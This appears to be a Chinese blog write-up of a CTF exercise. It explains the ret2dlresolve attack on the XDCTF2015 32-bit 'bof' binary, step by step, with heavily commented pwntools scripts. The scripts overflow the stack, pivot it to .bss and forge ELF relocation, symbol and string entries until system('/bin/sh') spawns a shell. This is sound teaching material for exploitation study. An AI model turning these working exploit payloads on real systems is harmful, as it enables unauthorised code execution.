时隔多天…终于把利用的原理也给搞明白了,上一篇只是说到
dl_runtime_resolve
的基础知识,这里就演示一下整个函数重定向攻击的流程
ELF文件结构
:https://oneda1sy.gitee.io/2020/02/20/ELF/dl_runtime_resolve
:https://cloud.tencent.com/developer/article/1740169Stack Pivot
:https://cloud.tencent.com/developer/article/1740293#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
//gcc -m32 -fno-stack-protector -no-pie -s bof.c -o bof
eip
到PLT0的地址,向_dl_fixup
传参index_arg
参数index_arg
的大小,使是程序引向伪造的rel.plt
位置rel.plt
的内容,使reloc引向伪造的dynsym
位置dynsym
的内容,使dynsym引向伪造的dynstr
位置dynstr
为任意库函数,如system
Stack Pivot
转移栈先将栈转移到我们伪造的栈中,然后执行其中内容
#coding:utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
io = process("./bof")
elf = ELF('./bof')
offset = 112*"a"
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x080492d9# pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105
stack_size = 0x800#在bss段伪造栈空间
bss_addr = elf.bss()
base_stage = bss_addr+stack_size
success("base_stage:0x%x",base_stage)
payload = offset
payload += p32(read_plt)
payload += p32(ppp_ret)#在函数结束后释放read的三个参数,保持栈平衡
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)#把伪造的栈地址放到ebp中,勾引esp
payload += p32(base_stage)
payload += p32(leave_ret)#将ebp转交给esp以扩充栈指针,再释放掉ebp。详情查阅Stack-pivot
io.recvuntil("!\n")
io.sendline(payload)
#stage1--控制EIP进行栈转移,跳到指定的bss段
cmd = "/bin/sh"
payload2 = "bbbb"#接上上一步的leave中的pop ebp;ret
payload2 += p32(write_plt)
payload2 += "cccc"#write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))#write函数输出的长度
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
io.sendline(payload2)
io.interactive()
这是一个简单的在伪造的栈内执行write进行输出的过程,下面继续
reloc_arg
为了找到.rel.plt
,控制EIP
跳转到PLT[0]
,然后将我们伪造的index_offset
压入函数执行
PLT[0]
**处的汇编指令**
write@plt
**的汇编指令**
...
plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
index_offset = 0x20 #write的reloc_arg objdump -d -j .plt bof
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
.rel.plt
由于dl_fixup函数内是根据距离reloc_arg的偏移来确定rel.plt表位置的
所以这里只要劫持index_info
,就可以让程序指向我们伪造的.rel.plt表
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt_0:0x%x",plt_0)
success("rel_Plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
r_info = 0x607 #Elf32_rel->r_info
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += fake_reloc #[base_stage+28]便是这里,即 4*7=28
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
.dynsym
伪造.dynsym使.dynsym->st_name
指向伪造的.dynstr
先看一下在IDA中.dynsym的结构
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36 #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = 0x4c#[write字符串地址-dynstr] ROPgadget --binary ./bof --string "write"
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += fake_reloc #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align #填补上之前未达到0x10的段
payload2 += fake_sym #[base_stage+36]伪造的synsym表
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
.dynstr
伪造.dynstr使.dynsym->st_name
指向我们自己输入的write
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36 #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd)) #write函数输出的长度
payload2 += fake_reloc #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align #填补上之前未达到0x10的段
payload2 += fake_sym #[base_stage+36]伪造的synsym表
payload2 += "write\x00"
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
到这里因该就能明了这一系列操作是怎么实现的了,接下来直接更换st_name
和参数
system
的.dynstr伪造.dynstr使.dynsym->st_name
指向伪造的其他函数如system
##stage5--伪造.dynstr使.dynsym->st_name指向我们自己输入的system
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364 #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write'] #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36 #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh\x00"
payload2 = "bbbb" #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0) #跳转到plt_01
payload2 += p32(index_offset) #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc" #write的返回地址,因为不需要了随便填
payload2 += p32(base_stage + 80)
payload2 += "gggg" #由于前面的pop esi ; pop edi ; pop ebp ; ret原因
payload2 += "hhhh" #这里必须要凑齐三个参数,随便填即可
payload2 += fake_reloc #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align #填补上之前未达到0x10的段
payload2 += fake_sym #[base_stage+36]伪造的synsym表
payload2 += "system\x00"
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
到这里就彻底完成了函数重定位攻击的所有流程,ret2dlresolve可以说是我学PWN以来最认真的、耗时最长、注释最多(基本上每行一注释简直让人头皮发麻…)的一个了,看着下面返回的shell真的是深感欣慰…
#coding:utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
io = process("./bof")
elf = ELF('./bof')
def stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret):
payload = offset
payload += p32(input_plt)+p32(ppp_ret)
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret)
io.recvuntil("!\n")
io.sendline(payload)
def ret2dl(f_sym,fake_synstr,arg_1,arg_2,arg_3):
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020 #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
f_sym = elf.got[f_sym] #Elf32_rel->r_offset
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#数据对齐 因为Elf32_sym结构体都是0x10对齐的
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7 #Elf32_rel->r_info
fake_reloc = p32(f_sym)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,st_name指向[base_stage+36+0x10]
payload2 = "bbbb" + p32(plt_0) + p32(index_offset) + p32(0) #接上上一步的leave中的pop ebp;ret
payload2 += p32(base_stage + 80) + p32(arg_2) + p32(arg_3)#使用system的参数
payload2 += fake_reloc + ("f"*align) #[base_stage+28].rel.plt表
payload2 += fake_sym #[base_stage+36].synsym表
payload2 += fake_synstr #[base_stage+36+0x10].synstr表
payload2 += "d"*(80-len(payload2))
payload2 += arg_1 #[base_stage+80] /bin/sh
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()
offset = 112*"a"
input_plt = elf.plt['read'] #input函数,这里使用read
ppp_ret = 0x080492d9 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x080492db #把伪造的栈地址放到ebp中,勾引esp
leave_ret = 0x08049105 #将ebp转交给esp以扩充栈指针,再释放掉ebp。详情查阅Stack-pivot
stack_size = 0x800
bss_addr = elf.bss()
base_stage = bss_addr+stack_size
success("base_stage:0x%x",base_stage)
system_str = "system\x00"
binsh_str = "/bin/sh\x00"
stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret)
ret2dl("write",system_str,binsh_str,0,0)